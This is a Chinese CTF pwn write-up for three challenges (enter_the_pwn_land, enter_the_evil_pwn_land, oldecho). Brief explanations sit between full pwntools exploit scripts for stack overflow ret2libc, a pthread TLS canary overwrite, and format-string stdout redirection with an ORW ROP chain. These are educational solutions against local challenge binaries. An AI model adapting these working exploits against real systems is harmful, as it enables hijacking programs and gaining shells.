特别溢出GDB调试
hgame2022 enter_the_pwn_land
这里有个变量记录输入字节数,如果直接溢出会导致不能正常溢出而是一直累加,这里‘1’能绕过
EXP
from pwn import *
context.log_level='debug'
rdi=0x0000000000401313
ret=0x000000000040101a
r=process('./1')
def pwn():
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./1')
# gdb.attach(r,"b *0x4011E4")
pay=b'1'*(0x33)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
r.sendline(pay)
r.recvuntil('\n')
leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
print(hex(leak))
sys=leak+libc.sym['system']
sh=next(libc.search(b'/bin/sh'))+leak
#gdb.attach(r,"b *0x4011E4")
pay=b'1'*(0x33)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.sendline(pay)
pwn()
r.interactive()
多线程溢出绕过canary
enter_the_evil_pwn_land
题目和上一题一样,但添加了canary
在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值了。从而绕过金丝雀。
相关文章
thread stack bypass canary和sixstar ctf babystack writeup | Sakuraのblog (eternalsakura13.com)
starctf2018 babystack (ble55ing.github.io)
EXP
from pwn import *
context.log_level='debug'
context.arch="amd64"
rdi=0x0000000000401363
ret=0x000000000040101a
rsi=0x0000000000401361
bss=0x404000+0x500
levae=0x4011FF
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
r=process('./2')
def pwn():
libc=ELF("./libc-2.31.so")
elf=ELF('./2')
pay=b'\x00'*0x30+p64(bss-0x8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(levae)
pay=pay.ljust(0x950,b"\x00")
#gdb.attach(r)
r.sendline(pay)
#raw_input()
r.recvuntil("\n")
leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
print(hex(leak))
r.sendline(b'\x00'*0x30+p64(1)+p64(leak+0xe6c81))
pwn()
r.interactive()
bss段格式化字符串
oldecho
思路
题目有循环的格式化字符串漏洞,在之前关掉了标准输出流,给了一个栈地址,开了沙箱。这题最后也可以leaveret栈迁移到bss,这里直接在环境变量区域写flag了。
要用orw但关闭了标准输出流
EXP
from pwn import*
p = process('./oldecho')
elf = ELF("./oldecho")
libc = elf.libc
context.log_level='debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
## 接收栈地址
p.recvuntil("Gift: ")
stack=int(p.recvline(),16)
lg('stack',stack)
p.recvline()
# 通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针
p.sendline("%"+str(stack%0x100-0x20)+"c%6$hhn")# rsp
p.sendline("%"+str(0xA90)+"c%10$hn")# rsp->__libc_start_main
stack=stack-0x110
lg('stack',stack)
# 找一个不影响程序流的地方改stdout_fileno
p.sendline("%"+str((stack+0xa0)%0x100)+"c%14$hhn")# stdout
p.sendline("%"+str(0x90)+"c%40$hhn")# stdout_fileno
p.sendline("%"+str(0x2)+"c%29$hhn")
p.recv()
# 泄露libc和bss地址
p.sendline("%13$p;%9$p;")
libc_base = int(p.recvuntil(';',drop=True),16)-libc.sym["__libc_start_main"]-240
pie = int(p.recvuntil(';',drop=True),16) # bss+48 buf
lg('pie',pie)
pop_rax=libc_base+0x3a738
pop_rdi=libc_base+0x21112
pop_rsi=libc_base+0x202f8
pop_rdx=libc_base+0x1b92
syscall=libc_base+0xbc3f5
puts = libc_base + libc.sym['puts']
payload=''
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(pie+0xb0+0x20)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall)
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc_base+libc.sym['environ'])+p64(pop_rdx)+p64(0x30)+p64(syscall)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(libc_base+libc.sym['environ'])+p64(puts)
payload+='flag'
# set jmp2payload 修改程序流控制rsp及其下方
'''
0x0000000000000edd: pop rsp; pop r13; pop r14; pop r15; ret;
'''
p.sendline("%"+str((stack-0x8)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline("%"+str(0xedd)+"c%10$hn")
p.recv()
p.sendline("%"+str((stack-0x10)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline(("%"+str(0x3f)+"c%10$hhn").ljust(0x18,'\x00')+payload)# retn
p.interactive()